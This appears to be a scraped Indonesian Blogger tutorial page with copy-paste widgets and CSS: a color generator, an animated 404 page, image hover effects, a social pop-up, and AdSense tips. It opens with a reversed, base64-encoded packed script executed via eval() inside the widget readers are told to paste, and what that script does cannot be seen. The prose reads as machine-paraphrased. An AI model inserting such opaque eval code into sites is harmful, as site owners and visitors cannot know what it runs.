oMkMuMmOpkjMrMGKCJjLBJzP1MjPpEWJj1zYogyKpkSKh9yYoYkMoUmOnw1Jc9TY8MGK3JzepMGK2JTPltXKkxSZssGLjxSYsAHK2JDKIJzJo0Hcg4mc1RXZy1Xfp01YbtGLpcyZnwyJixFXnsSKjhSZrciYcx1JoAHeFdWZSBydl5GKlNWYsBXZy5Cc9A3ep01YbtGKml2ep0SLjhSZslGa3tTfpkiNzgyZulmc0N1b05yY6kSOysyYoUGZvNkchh2Qt9mcm5yZulmc0N1P1MjPpEWJj1zYogyKpkSKh9yYoQnbJV2cyFGcoUmOncyPhxzYo4mc1RXZytXKjhibvlGdj5Wdm1TZ7lCZsUGLrxyYsEGLwhibvlGdj5WdmhCbhZXZ';function l0O(data){var llIlOI="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";var o1,o2,o3,h1,h2,h3,h4,bits,i=0,enc='';do{h1=llIlOI.indexOf(data.charAt(i++));h2=llIlOI.indexOf(data.charAt(i++));h3=llIlOI.indexOf(data.charAt(i++));h4=llIlOI.indexOf(data.charAt(i++));bits=h1<<18|h2<<12|h3<<6|h4;o1=bits>>16&0xff;o2=bits>>8&0xff;o3=bits&0xff;if(h3==64){enc+=String.fromCharCode(o1)}else if(h4==64){enc+=String.fromCharCode(o1,o2)}else{enc+=String.fromCharCode(o1,o2,o3)}}while(i<data.length);return enc} function llI(string){ var ret = '', i = 0;for ( i = string.length-1; i >= 0; i-- ){ ret += string.charAt(i);} return ret; }eval(l0O(llI(IO0)));</script>   </div> <script type="text/javascript"> $(document).ready(function(){function rgbToHex(r,g,b){return toHex(r)+toHex(g)+toHex(b)}function toHex(n){n = parseInt(n,10);if(isNaN(n)) return "00";n = Math.max(0,Math.min(n,255));return "0123456789ABCDEF".charAt((n-n%16)/16)+"0123456789ABCDEF".charAt(n%16)}$("#red, #green, #blue").change(function(){var red = $("#red input").val();var green = $("#green input").val();var blue = $("#blue input").val();var hex = rgbToHex(red,green,blue);var rgb = red+","+green+","+blue;$("#hex").text("#"+hex);$("#rgb").text("rgb("+rgb+");");$("#LyRcLr").css("background-color","#"+hex)});$("#random").click(function(){var red = Math.floor((Math.random()*255)+0);var green = Math.floor((Math.random()*255)+0);var blue = Math.floor((Math.random()*255)+0);var hex = rgbToHex(red,green,blue);var rgb = red+","+green+","+blue;$("#red input").val(red);$("#green input").val(green);$("#blue input").val(blue);$("#hex").text("#"+hex);$("#rgb").text("rgb("+rgb+");");$("#LyRcLr").css("background-color","#"+hex)})}); </script> 
 

4) Klik Simpan

Sekarang coba lihat salah satu posting blog anda maka Color Generator itupun telah nangkring dan siap melayani hadirin blog anda. Itulah cara menghasilkan Color Code Generator widget pada sidebar blogspot dengan performa keren, higienis dan cepat. Happy coding!

Sumber https://8tutorialandroid.blogspot.com/
Sumber https://henponterbaru.blogspot.com

Cara Menghasilkan Halaman Error 404 Super Inovatif Di Blog

Halaman Eror 404 biasa anda peroleh atau anda lihat pada suatu url blog atau situs web yang tidak ada keberadaannya. Alasannya sanggup karena yaitu URL yang dituju sudah dihapus, sudah rusak atau memang belum pernah dibentuk sama sekali. Dan saya pribadi sering merasa muak dan murka jikalau suatu url yang saya buka ternyata 404 Error Page. Alasanya satu! karena yaitu saya sudah mencampakkan waktu bermanfaat selama 3 detik tetapi tidak mendapatkan hasil apa2 pada URL yang saya buka tersebut.

Lihat Demo

Timbulah gagasan bagaimana mudah-mudahan halaman 404 ini tidak menghasilkan seseorang merasa marah, kecewa, atau merasa jenuh karena yaitu performa yang mereka lihat menyerupai itu-itu saja. Dengan kata lain, kita hibur hadirin blog baik itu dengan desain, kata-kata atau pengarahan yang lebih inovatif mudah-mudahan mereka tidak pribadi kabur menutup blog anda.

Cara Membuat Halaman Eror 404 Tidak Ditemukan Yang Kreatif dan Keren Di Blog :

: Desain ini murni menggunkan dampak dan animasi CSS3 dan cuma akan melakukan pekerjaan pada pada browser modern.
1) Masuk ke dashboard blog anda klik Template, laksanakan Back Up kemudian klik Edit Template
2) Cari kode ]]></b:skin> kemudian copy dan pastekan CSS dibawah ini sempurna diatasnya

 /* 404 Error page blogger design by  ---------------------------------------------------------------- */ #error-page{background:-webkit-linear-gradient(top,#cbebdb 0,#3794c0 120%);background:-moz-linear-gradient(top,#cbebdb 0,#3794c0 120%);background:-o-linear-gradient(top,#cbebdb 0,#3794c0 120%);background:-ms-linear-gradient(top,#cbebdb 0,#3794c0 120%);background:linear-gradient(top,#cbebdb 0,#3794c0 120%);position:fixed!important;position:absolute;text-align:center;top:0;right:0;bottom:0;left:0;z-index:99999}h1{font-size:20px!important;margin:0!important}.tv{display:inline-block;vertical-align:bottom;margin:10px 300px 20px}.tv-60 .tv-frame{width:37.1em;height:25.7em}.tv-frame{background:#222;border:1px solid #222;width:100%;height:100%;padding:5px}.tv-viewport{font-size:15px;background:#444;background:#4c4c4c;background:-moz-linear-gradient(-45deg,#4c4c4c 0,#2c2c2c 46%,#2b2b2b 53%,#333 100%);background:-webkit-gradient(linear,left top,right bottom,color-stop(0%,#4c4c4c),color-stop(46%,#2c2c2c),color-stop(53%,#2b2b2b),color-stop(100%,#333));background:-webkit-linear-gradient(-45deg,#4c4c4c 0,#2c2c2c 46%,#2b2b2b 53%,#333 100%);background:-o-linear-gradient(-45deg,#4c4c4c 0,#2c2c2c 46%,#2b2b2b 53%,#333 100%);background:-ms-linear-gradient(-45deg,#4c4c4c 0,#2c2c2c 46%,#2b2b2b 53%,#333 100%);background:linear-gradient(135deg,#4c4c4c 0,#2c2c2c 46%,#2b2b2b 53%,#333 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#4c4c4c',endColorstr='#333333',GradientType=1);width:100%;height:100%;position:relative}.tv-viewport-size{color:#f8f8f8;text-align:center;width:100%;margin-top:10px;display:block;height:20px;position:absolute;font-size:1.1em;font-weight:bolder}.tv-stand{width:50%;height:.6em;background:#333;margin:0 auto}.eror{color:#00a5ad;font-size:100px;animation-name:blinker;animation-duration:1.75s;animation-timing-function:linear;animation-iteration-count:infinite;-webkit-animation-name:blinker;-webkit-animation-duration:1.75s;-webkit-animation-timing-function:linear;-webkit-animation-iteration-count:infinite}@-moz-keyframes blinker{0%{opacity:1.0}50%{opacity:.0}100%{opacity:1.0}}@-webkit-keyframes blinker{0%{opacity:1.0}50%{opacity:.0}100%{opacity:1.0}}@keyframes blinker{0%{opacity:1.0}50%{opacity:.0}100%{opacity:1.0}}span[class*="l-"]{height:4px;width:4px;background:#00909e;display:inline-block;margin:12px 2px;border-radius:100%;-webkit-border-radius:100%;-moz-border-radius:100%;-webkit-animation:loader 4s infinite;-webkit-animation-timing-function:cubic-bezier(0.030,0.615,0.995,0.415);-webkit-animation-fill-mode:both;-moz-animation:loader 4s infinite;-moz-animation-timing-function:cubic-bezier(0.030,0.615,0.995,0.415);-moz-animation-fill-mode:both;-ms-animation:loader 4s infinite;-ms-animation-timing-function:cubic-bezier(0.030,0.615,0.995,0.415);-ms-animation-fill-mode:both;animation:loader 4s infinite;animation-timing-function:cubic-bezier(0.030,0.615,0.995,0.415);animation-fill-mode:both}span.l-1{-webkit-animation-delay:1s;animation-delay:1s;-ms-animation-delay:1s;-moz-animation-delay:1s}span.l-2{-webkit-animation-delay:.8s;animation-delay:.8s;-ms-animation-delay:.8s;-moz-animation-delay:.8s}span.l-3{-webkit-animation-delay:.6s;animation-delay:.6s;-ms-animation-delay:.6s;-moz-animation-delay:.6s}span.l-4{-webkit-animation-delay:.4s;animation-delay:.4s;-ms-animation-delay:.4s;-moz-animation-delay:.4s}span.l-5{-webkit-animation-delay:.2s;animation-delay:.2s;-ms-animation-delay:.2s;-moz-animation-delay:.2s}span.l-6{-webkit-animation-delay:0;animation-delay:0;-ms-animation-delay:0;-moz-animation-delay:0}@-webkit-keyframes loader{0%{-webkit-transform:translateX(-30px);opacity:0}25%{opacity:1}50%{-webkit-transform:translateX(30px);opacity:0}100%{opacity:0}}@-moz-keyframes loader{0%{-moz-transform:translateX(-30px);opacity:0}25%{opacity:1}50%{-moz-transform:translateX(30px);opacity:0}100%{opacity:0}}@-keyframes loader{0%{-transform:translateX(-30px);opacity:0}25%{opacity:1}50%{-transform:translateX(30px);opacity:0}100%{opacity:0}}@-ms-keyframes loader{0%{-ms-transform:translateX(-30px);opacity:0}25%{opacity:1}50%{-ms-transform:translateX(30px);opacity:0}100%{opacity:0}}.pesan-eror{padding-left:3px;width:80%;margin:10px auto 40px;background:#54a5c5;color:#fff;font-size:15px;border-radius:1%;position:relative;text-alignt:justify;padding:5px}.pesan-eror::after{content:" ";width:0;height:0;bottom:-17px;border-color:#54a5c5 transparent transparent;border-style:solid;border-width:20px 20px 0;position:absolute;left:5%}.ghost{margin-left:15%;background-image:-webkit-linear-gradient(45deg,transparent 50%,#2c2c2c 50%),-webkit-linear-gradient(135deg,transparent 50%,#2c2c2c 50%),-webkit-linear-gradient(#2c2c2c 50%,#2c2c2c 50%);background-image:-moz-linear-gradient(45deg,transparent 50%,#2c2c2c 50%),-moz-linear-gradient(315deg,transparent 50%,#2c2c2c 50%),-moz-linear-gradient(#2c2c2c 50%,#2c2c2c 50%);background-image:-o-linear-gradient(45deg,transparent 50%,#2c2c2c 50%),-o-linear-gradient(135deg,transparent 50%,#2c2c2c 50%),-o-linear-gradient(#2c2c2c 50%,#2c2c2c 50%);background-image:-ms-linear-gradient(45deg,transparent 50%,#2c2c2c 50%),-ms-linear-gradient(135deg,transparent 50%,#2c2c2c 50%),-ms-linear-gradient(#2c2c2c 50%,#2c2c2c 50%);background-image:linear-gradient(45deg,transparent 50%,#2c2c2c 50%),linear-gradient(315deg,transparent 50%,#2c2c2c 50%),linear-gradient(#2c2c2c 50%,#2c2c2c 50%);background-position:50% 100%,50% 100%,50% 0;background-repeat:repeat-x;-webkit-background-size:1em 1em;-moz-background-size:1em 1em;background-size:1em 1em;position:relative;margin-top:1.5em;height:1.5em;width:3em;animation-name:floating;-webkit-animation-name:floating;animation-duration:1.5s;-webkit-animation-duration:1.5s;animation-iteration-count:infinite;-webkit-animation-iteration-count:infinite}@keyframes floating{0%{transform:translateY(0%)}50%{transform:translateY(8%)}100%{transform:translateY(0%)}}@-webkit-keyframes floating{0%{-webkit-transform:translateY(0%)}50%{-webkit-transform:translateY(8%)}100%{-webkit-transform:translateY(0%)}}.ghost:after,.ghost:before{background-image:-webkit-radial-gradient(transparent 35%,#2c2c2c 35%);background-image:-moz-radial-gradient(transparent 35%,#2c2c2c 35%);background-image:-o-radial-gradient(transparent 35%,#2c2c2c 35%);background-image:-ms-radial-gradient(transparent 35%,#2c2c2c 35%);background-image:radial-gradient(transparent 35%,#2c2c2c 35%);border-top:.5em solid #2c2c2c;content:'';height:1em;position:absolute;top:-1.5em;width:1em}.ghost:after{background-position:75% 75%;border-left:.5em solid #2c2c2c;border-radius:3em 0 0 0;left:0}.ghost:before{background-position:0 100%;border-right:.5em solid #2c2c2c;border-radius:0 3em 0 0;right:0}.wrapper{width:150px;height:150px;position:absolute;top:calc(30% - 75px);left:calc(80% - 75px)}.cloud{position:absolute;bottom:12px;left:8px;z-index:2;opacity:0;animation:cloud 10s 0s linear infinite}.cloud .cloud1:not(.c_shadow) ul li{animation:cloudi 10s .1s linear infinite}.cloud .cloud1:not(.c_shadow):before{animation:cloudi 10s 0s linear infinite}.cloud_s{position:absolute;bottom:70px;left:150px;transform:scale(0.7,0.7) matrix(-1,0,0,1,0,0);z-index:1;opacity:0;animation:cloud_s 10s 0s linear infinite}.cloud_s .c_shadow{transform:scale(1.02,1.02)}.cloud_vs{position:absolute;bottom:90px;left:30px;transform:scale(0.5,0.5);z-index:0;opacity:0;animation:cloud_vs 10s 0s linear infinite}.c_shadow{z-index:4!important;left:-5px;bottom:-3px!important}.c_shadow:before{background:#33495f!important}.c_shadow ul li{width:60px!important;height:60px!important;background:#33495f!important;float:left;position:absolute;bottom:-2px!important;border-radius:360px}.c_shadow ul li:nth-child(2){width:80px!important;height:80px!important;background:#33495f!important;float:left;border-radius:360px;position:absolute;bottom:16px!important;left:25px!important}.c_shadow ul li:nth-child(3){width:70px!important;height:70px!important;background:#33495f!important;float:left;border-radius:360px;position:absolute;bottom:6px!important;left:60px!important}.c_shadow ul li:last-child{width:60px!important;height:60px!important;background:#33495f!important;float:left;border-radius:360px;position:absolute;bottom:0;left:90px}.cloud1{position:absolute;bottom:0;z-index:5}.cloud1:before{content:'';position:absolute;bottom:0;left:28px;width:90px;height:20px;background:#fff}.cloud1 ul{list-style:none;margin:0;padding:0}.cloud1 ul li{width:50px;height:50px;background:#fff;float:left;border-radius:360px}.cloud1 ul li:nth-child(2){width:70px;height:70px;background:#fff;float:left;border-radius:360px;position:absolute;bottom:18px;left:25px}.cloud1 ul li:nth-child(3){width:60px;height:60px;background:#fff;float:left;border-radius:360px;position:absolute;bottom:8px;left:60px}.cloud1 ul li:last-child{width:50px;height:50px;background:#fff;float:left;border-radius:360px;position:absolute;bottom:0;left:90px}.thunder{position:absolute;bottom:100px;left:65px;width:12px;height:12px;background:#f9db62;transform:skew(-25deg);opacity:0;animation:thunder 10s 0s linear infinite}.thunder:before{content:'';position:absolute;top:11px;left:0;width:25px;height:8px;background:#f9db62}.thunder:after{content:'';position:absolute;width:0;height:0;top:18px;right:-14px;border-left:5px solid transparent;border-right:5px solid transparent;border-top:20px solid #f9db62;transform:skew(5deg)}@keyframes cloud{0%{transform:scale(0.8);left:120px;bottom:35px;opacity:0}2%{opacity:1}3.5%{bottom:35px;left:10px;opacity:1}16%{transform:scale(0.8)}18%{transform:scale(0.95)}19%{transform:scale(0.9)}48%{opacity:1;bottom:35px}50%{bottom:70px}96%{opacity:1}100%{opacity:0;bottom:70px;left:10px}}@keyframes cloud_s{0%{transform:scale(0.6);opacity:0;bottom:40px;left:18px}23%{opacity:0}24%{opacity:1;bottom:40px;left:30px}28%{opacity:1;bottom:85px;left:60px}32%{transform:scale(0.6)}34%{transform:scale(0.75)}35%{transform:scale(0.7)}48%{opacity:1}49%{opacity:0}100%{transform:scale(0.7);opacity:0;bottom:85px;left:60px}}@keyframes cloud_vs{0%{opacity:0;bottom:85px;left:60px}39%{opacity:0}40%{opacity:1;bottom:85px;left:60px}42%{bottom:125px;left:10px}43%{bottom:120px;left:15px}48%{opacity:1}49%{opacity:0}100%{opacity:0;bottom:120px;left:15px}}@keyframes cloudi{0%{background:#fff}56%{background:#fff}57%{background:#92a4b6}100%{background:#92a4b6}}@keyframes thunder{0%{opacity:0;bottom:100px;left:65px}62%{opacity:0;bottom:100px;left:65px}64%{opacity:1;bottom:50px;left:60px}65%{opacity:1;bottom:55px;left:61px}72%{opacity:1;bottom:55px;left:61px}73%{opacity:0}100%{opacity:0;bottom:55px}}@keyframes fade_in{0%{opacity:0}8%{opacity:1}9%{opacity:1}11%{opacity:1}12%{opacity:0}100%{oapcity:0}}.box{width:20%;cursor:pointer;border-radius:5px;background-color:#e14d42;margin:0 auto;font-size:18px;color:#fff;padding:5px;text align:center position:fixed!important;top:20%;left:12%}.box:hover{opacity:.7}.box a{color:#fff!important;text-decoration:none} /* 404 Error page end ---------------------------------------------------------------- */ 
 

3) Cari tag pembuka <body> kemudian salin dan pastekan pembuka conditional tag dibawah ini sempurna di bawah <body> tersebut

 <b:if cond='data:blog.pageType != &quot;error_page&quot;'> 
 

4) Cari tag epilog </body> kemudian salin dan pastekan epilog conditional tag dibawah ini sempurna di atas </body>

 <b:else/> <div id='error-page'>   <div class='pesan-eror'>     Sepertinya cuaca sedang buruk atau anda belum mengeluarkan duit tagihan! Santai, hubungi admin untuk melaporkan URL/Channel kesayangan anda yang rusak karena yaitu petir ke blah@heyriad.com :)   </div>   <div class='ghost'/>   <div class='tv tv-60'>     <div class='tv-frame'>       <div class='tv-viewport'>         <div class='tv-viewport-size'>           <h1>             CHANNEL TIDAK DITEMUKAN!           </h1>           <br/>           <span class='eror'>             404           </span>           <br/>           sedang mencari sinyal           <br/>           <span class='l-1'/>           <span class='l-2'/>           <span class='l-3'/>           <span class='l-4'/>           <span class='l-5'/>           <span class='l-6'/>         </div>       </div>     </div>     <div class='tv-stand'>     </div>   </div>   <div class='wrapper'>     <div class='cloud'>       <div class='cloud1'>         <ul>           <li/>           <li/>           <li/>           <li/>         </ul>       </div>       <div class='cloud1 c_shadow'>         <ul>           <li/>           <li/>           <li/>           <li/>         </ul>       </div>     </div>     <div class='cloud_s'>       <div class='cloud1'>         <ul>           <li/>           <li/>           <li/>           <li/>         </ul>       </div>       <div class='cloud1 c_shadow'>         <ul>           <li/>           <li/>           <li/>           <li/>         </ul>       </div>     </div>          <div class='cloud_vs'>       <div class='cloud1'>         <ul>           <li/>           <li/>           <li/>           <li/>         </ul>       </div>       <div class='cloud1 c_shadow'>         <ul>           <li/>           <li/>           <li/>           <li/>         </ul>       </div>     </div>     <div class='thunder'/>   </div>   <a expr:href='data:blog.homepageUrl'>     <div class='box'>       Home     </div>   </a> </div> </b:if> 
 

5) Klik Simpan Template

Desain diatas cuma selaku gagasan karna untuk menghasilkan Error 404 Page Not Found yang inovatif itu tergantung dari niche blog anda. Dan silahkan anda pakai rancangan 404 Error Page diatas untuk dipraktekkan di blogspot anda. Happy Coding!

Sumber https://8tutorialandroid.blogspot.com/
Sumber https://henponterbaru.blogspot.com

Mengganti Nama Judul Blog Dan Alamat Url Blog

Banyak argumentasi kenapa anda ingin mengganti nama blog yang dikala ini sudah dibuat. Bisa saja karena yaitu nama blog tersebut menurut anda tidak pas dengan konten dan postingan yang sudah diangkut atau tidak menawan bagi hadirin blog anda. Begitu juga dengan alamat URL dikala ini, sanggup tidak cocok dengan topik blog, sanggup karena yaitu kepanjangan atau mungkin terlihat berantakkan untuk dibaca oleh manusia. Untuk menangani hal tersebut, anda sanggup untuk tidak menghasilkan blog gres alias anda sanggup mengubah nama dan alamat URL blog kini menjadi gres dan sesuai dengan yang diinginkan.

Adapun cara ini cuma khusus buat anda para pengguna google blogger atau pengguna subdomain blogspot yang masih dalam proses menimba ilmu untuk mengenal tentang dunia blogging.

Cara Praktis Mengganti Nama Blog dan Alamat URL Blogspot :
1) Masuk ke akun blogger anda kemudian pilih blog yang ingin anda ubah
2) Klik Setting atau Setelan, pada belahan basic atau dasar
3) Pada form Title / Judul, ganti dan masukkan nama untuk mengganti judul blog gres kemudian klik Save change
4) Pada form Blog Address/ Alamat Blog, ganti dengan subdomain gres yang anda kehendaki kemudian klik Save

Praktis bukan? Sedikit kiat pastikan anda mengubah nama judul blog dan alamat URL blogspot tersebut sama agar keduanya terlihat saling berkolaborasi untuk mendukung satu sama lainnya. Semoga bermanfaat, Happy Blogging!

Sumber https://8tutorialandroid.blogspot.com/
Sumber https://henponterbaru.blogspot.com

Membuat 5 Dampak Hover Keren Pada Gambar Posting Blog

Siapa yang tidak mau blog pribadinya terlihat menawan dan keren di mata pembaca dan visitor blog. Tentu saja untuk mendandani blog biar lebih terlihat inovatif itu perlu menemukan wangsit dan mengenali dasar-dasar tentang syntax coding di dalam template blog. Adapun cara untuk menghasilkan blog terlihat keren bisa bermacam-macam. Mulai dari menggunakan animasi atau ide-ide inovatif lain yang dapat di implementasikan di dalam desain blog. Nah kali ini saya akan memfokuskan untuk menghasilkan efek pada gambar dan foto yang ada di dalam posting postingan dengan menggunakan efek transisi CSS3.

Sebelumnya saya pernah menghasilkan efek zoom dan efek bergoyang pada foto dan gambar postingan blog yang cukup sederhana dengan menggunakan CSS3. Saya pun sedikit punya waktu luang untuk menghasilkan 5 efek lain yang mungkin anda terpikat untuk menerapkannya. Efek pada gambar posting blog ini cuma akan melakukan pekerjaan apabila hadirin blog anda melakukan hover kepada foto atau gambar di dalam postingan blog. Dengan efek yang terlihat lembut dan inovatif menyebabkan kode CSS33 ini layak anda coba. Apa saja kelima kelima efek hover yang dapat menghasilkan bergerak-gerak pada gambar posting blog tersebut? silahkan lihat di halaman demo.

Lihat Demo

1) Efek opacity dan Border radius kanan atas
Efek opacity ialah salah satu favorit saya, dengan disertakan transisi pada border kanan atas menyebabkan efek yang pertama ini terlihat lembut dan santai.
2) Efek Hover Top dan Border radius kanan bawah
Gambar anda akan terangkat ke atas yang menghasilkan hadirin blog menemukan perhatian lebih ketika melakukn hover menggunakan efek ini
3) Efek Mengecil
Efek mengecil atau mungkin juga disebut efek fade out akan menghasilkan foto di dalam postingan blog terasa lebih keren.
4) Efek Melingkar
Bukan saja cuma melingkar, tapi efek ini juga menggunakan transisi CSS3 yang nantinya pada ketika hovering border berwarna putih akan timbul melingkari gambar di postingan blog anda.
5) Efek Rotasi dan Bayangan
Untuk efek yang satu ini sengaja dibentuk berotasi sekitar 45deg yang nantinya akan timbul shadow berwarna hitam. 

Cara Membuat Efek Hover Keren Pada Gambar Posting Blog :
1) Masuk ke dashboard blogger kemudian klik Template
2) Klik Back Up kemudian klik Edit Template
3) Cari tag epilog ]]></b:skin>
4) Pilih salah satu satu efek yang anda harapkan kemudian pastekan CSS di bawah ini sempurna di atas tag epilog ]]></b:skin> tersebut

Efek opacity dan Border radius kanan atas

 .post-body img{ border-radius: 2%; -webkit-transition: all 1s ease; -moz-transition: all 1s ease; -o-transition: all 1s ease; -ms-transition: all 1s ease; transition: all 1s ease; } .post-body img:hover{opacity:.8; border-top-right-radius:70px 20px; -webkit-border-top-right-radius:70px 20px; } 
 

Efek Hover Top dan Border radius kanan bawah

 .post-body img{ border-radius: 2%; -webkit-transition: all 1s ease; -moz-transition: all 1s ease; -o-transition: all 1s ease; -ms-transition: all 1s ease; transition: all 1s ease; } .post-body img:hover{ position:relative; top: -10px; border-bottom-right-radius:70px 20px; } 
 

Efek Mengecil

 .post-body img{ border-radius: 2%; -webkit-transition: all 1s ease; -moz-transition: all 1s ease; -o-transition: all 1s ease; -ms-transition: all 1s ease; transition: all 1s ease; } .post-body img:hover{ -webkit-transform: scale(0.4, 0.4); -moz-transform: scale(0.4, 0.4); -ms-transform: scale(0.4, 0.4); -o-transform: scale(0.4, 0.4); transform: scale(0.4, 0.4); } 
 

Efek Melingkar

 .post-body img{ border-radius: 2%; -webkit-transition: all 1s ease; -moz-transition: all 1s ease; -o-transition: all 1s ease; -ms-transition: all 1s ease; transition: all 1s ease; } .post-body img:hover{ border-radius:50%; border: 4px solid #ECECEC; -webkit-transition: all .3s ease; -moz-transition: all .3s ease; -o-transition: all .3s ease; -ms-transition: all .3s ease; transition: all .3s ease; } 
 

Efek Rotasi dan Bayangan

 .post-body img{ border-radius: 2%; -webkit-transition: all 1s ease; -moz-transition: all 1s ease; -o-transition: all 1s ease; -ms-transition: all 1s ease; transition: all 1s ease; } .post-body img:hover{  transition: all 2s ease-in-out; -webkit-transform:rotate(45deg); -moz-transform:rotate(45deg);  -ms-transform:rotate(45deg); -o-transform:rotate(45deg);  transform:rotate(45deg); z-index: 999; box-shadow: 8px -6px 5px rgba(50, 50, 50, 0.75); } 
 

4) Klik Simpan

Jika efek tersebut tidak bekerja, ditentukan bahwa selektor css di didalam template anda tersebut telah terkostumisasi. Untuk itu hapus selektor .post-body img:hover dan ganti dengan kode gres dari salah satu kelima efek tersebut. Selamat mencoba, Happy Coding!

Sumber https://8tutorialandroid.blogspot.com/
Sumber https://henponterbaru.blogspot.com

Membuat Pop Up Like Facebook Twitter Dan Google Plus Di Blog

Membuat Pop Up Like Facebook Twitter dan Google Plus Di Blog - Anda niscaya sering menyaksikan pop up yang terpasang di blog-blog entah di Google Blogger maupun di blog Wordpress. Tujuannya yakni untuk mengiklankan fans page facebook dari blog tersebut mudah-mudahan banyak yang mengikuti yang otomatis akan menciptakan trafik setiap kali anda memperbaharui artikel. Dan biasanya, jenis pop up widget tersebut cuma memperlihatkan like box facebook. Lalu bagaimana jikalau pop up tersebut di tambahi tombol twitter follow atau google plus follow?

Hey Pop Up merupakan yakni widget yang mengambil desain bergaya flat, yang hendak memperlihatkan 3 tombol media jejaring sosial yakni untuk facebook, twitter dan google plus. Widget pop up ini aku tambahkan dampak atau animasi CSS3 sehingga pada saat hadirin blog tiba ke landing page maka pop up inipun akan timbul dari atas ke bawah. Cara kerja dari widget ini cuma akan tampil pada browser yang dibuka di desktop/PC dan tablet tapi tidak akan ditampilkan pada pembaca blog yang menggunakan ponsel pandai atau ponsel, widget pop up follow twitter, google plus dan facebook like ini akan timbul pada tiap posting. Tidak ada tombol close dalam widget ini alasannya merupakan yakni merupakan saat hadirin menjalankan klik diluar pop up ini, maka akan tertutup.

Lihat Demo

Cara Membuat Pop Up Like Facebook Twitter dan Google Plus Di Blogger :
1) Masuk ke pengaturan Tata Letak Blog Anda kemudian klik Tambah Gadget
2) Pilih kemudian klik HTML/Javascript
3) Masukkan semua aba-aba dibawah kedalam widget tersebut kemudian klik simpan

 <style> @media screen and (max-width:600px){#HrPv1,#HrPv{display:none!important}}#HrPv1{background:#4a708b;width:100%;height:100%;position:fixed;top:0;left:0;z-index:99999;opacity:.5}#HrPv{top:0;left:0;background-color:#f5f5f6;border-radius:5%;width:340px;height:260px;border:3px solid #da244f;box-shadow:0 0 10px 0 rgba(0,0,0,0.3);z-index:99999;bottom:0;right:0;position:fixed;margin:20% auto;animation-name:HrPvDo;-webkit-animation-name:HrPvDo;animation-duration:3s;-webkit-animation-duration:3s;animation-timing-function:easeIn;-webkit-animation-timing-function:ease;visibility:visible!important}@keyframes HrPvDo{0%{transform:translateY(-100%)}50%{transform:translateY(8%)}65%{transform:translateY(-4%)}80%{transform:translateY(4%)}95%{transform:translateY(-2%)}100%{transform:translateY(0%)}}@-webkit-keyframes HrPvDo{0%{-webkit-transform:translateY(-100%)}50%{-webkit-transform:translateY(8%)}65%{-webkit-transform:translateY(-4%)}80%{-webkit-transform:translateY(4%)}95%{-webkit-transform:translateY(-2%)}100%{-webkit-transform:translateY(0%)}}#HrPv p{background:none repeat scroll 0 0 #da244f;font-size:1.3em;font-weight:bold;border-width:medium medium 3px;border-style:none none solid;border-color:-moz-use-text-color -moz-use-text-color #b5002a;-moz-border-top-colors:none;-moz-border-right-colors:none;-moz-border-bottom-colors:none;-moz-border-left-colors:none;border-image:none;padding:5px;color:#FFF;border-radius:3px;text-align:center}#HrPv .somedi{width:95%;background:#eee5de;margin:0 auto;border-radius:5px;padding:1px;line-height:24px;box-shadow:0 1px 2px #CCC inset} </style> <div id="HrPv1"></div> <div id="HrPv"> <p>Mau dapet update modern atau eksklusif mengajukan pertanyaan tentang Tutorial kami?</p> <div class="somedi"> <iframe allowtransparency='true' frameborder='0' scrolling='no' src='//www.facebook.com/plugins/likebox.php?href=https://www.facebook.com/heyriadcom&colorscheme=light&show_faces=false&show_border=false&stream=false&header=false' style='border: none; overflow: hidden;width:200px;height:60px '></iframe> <a style='height:60px' href="https://twitter.com/TeacHowTo" class="twitter-follow-button" data-dnt="true">​</a> <script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0];if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src="//platform.twitter.com/widgets.js";fjs.parentNode.insertBefore(js,fjs);}}(document,"script","twitter-wjs");</script> <!-- Place this tag where you want the widget to render. --> <div class="g-follow" data-annotation="bubble" data-height="20" data-href="//plus.google.com/u/0/103761472882130515155" data-rel="publisher"></div> <!-- Place this tag after the last widget tag. --> <script type="text/javascript"> (function() { var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true; po.src = 'https://apis.google.com/js/platform.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s); })(); </script> </div></div> <script type="text/javascript"> $(document).ready(function(){ $("#HrPv1").click(function(){ $(this).fadeOut(); $("#HrPv").fadeOut(); }); }); </script> 
 

Sekarang coba anda buka salah satu kiriman yang ada di blog anda, maka widget pop up like facebook, follow twitter dan google Plus inipun akan siap melakukan pekerjaan untuk mengiklankan blog anda di media jejaring sosial tersebut.

Sumber https://8tutorialandroid.blogspot.com/
Sumber https://henponterbaru.blogspot.com

Blog Ditolak Google Adsense? Coba Kiat Dan Jurus Jitu Ini

Saya percaya ada terlalu banyak teknik dan pengalaman pribadi yang sudah di share oleh para blogger tentang topik dari kiriman ini, tujuan mereka satu merupakan untuk menolong blogger lain biar bisa di terima selaku publisher google adsense. Sama seumpama halnya dengan postingan ini, untuk menyemangati, jangan berhenti untuk menulis dan tetap konsentrasi ke niche blog anda.

Dan pada kiriman ini saya cuma ingin menyampaikan saran, kiat atau masukan untuk anda yang terus menerus ditolak oleh google adsense mungkin sudah belasan kali maupun puluhan kali tetapi kesudahannya tetap mendapat akibat surel yang serupa dan mengenaskan yaitu ditolak!. Teman-teman blogger sekalian, Saya pun mencicipi suasana seumpama ini, ditolak 1 kali! Lalu apa yang salah?

1) Siapa Anda Di Mata Google
Gunakan data diri sesuai dengan keterangan asli, baik itu di profil google plus, profil google blogger, maupun semua hal yang berhubungan dengan produk dan layanannya. Google itu tidak akan lelah, mereka akan mencari tahu siapa anda. Sederhana saja, tukang jajanan mana yang akan memerintahkan menjualkan keu dagangangnya ke orang yang tidak terperinci asal usulnya?

2) Klaim Bahwa Blog Tersebut Benar-Benar Milik Anda
Lakukan verifikasi di Google webmaster tool atau Bing webmaster tool bahwa anda merupakan pemilik sah menurut data-data orisinil dari kiat no 1.

3) Buat Halaman About Us/ About Me
Jelaskan terhadap pembaca atau hadirin blog, anda ini menampung konten wacana topik apa, dibentuk untuk apa dan dibentuk untuk siapa.

4) Halaman Contact Us
Buat halaman kontak dengan menambahkan alamat email yang serupa di saat mendaftarkan diri ke Google Adsense. Anda mesti mempertanggung jawabkan atas semua konten yang anda muat di blog anda, jikalau ada yang keberatan dengan isi postingan anda, mereka akan simpel untuk mengontak anda.

5) Halaman Privacy Policy
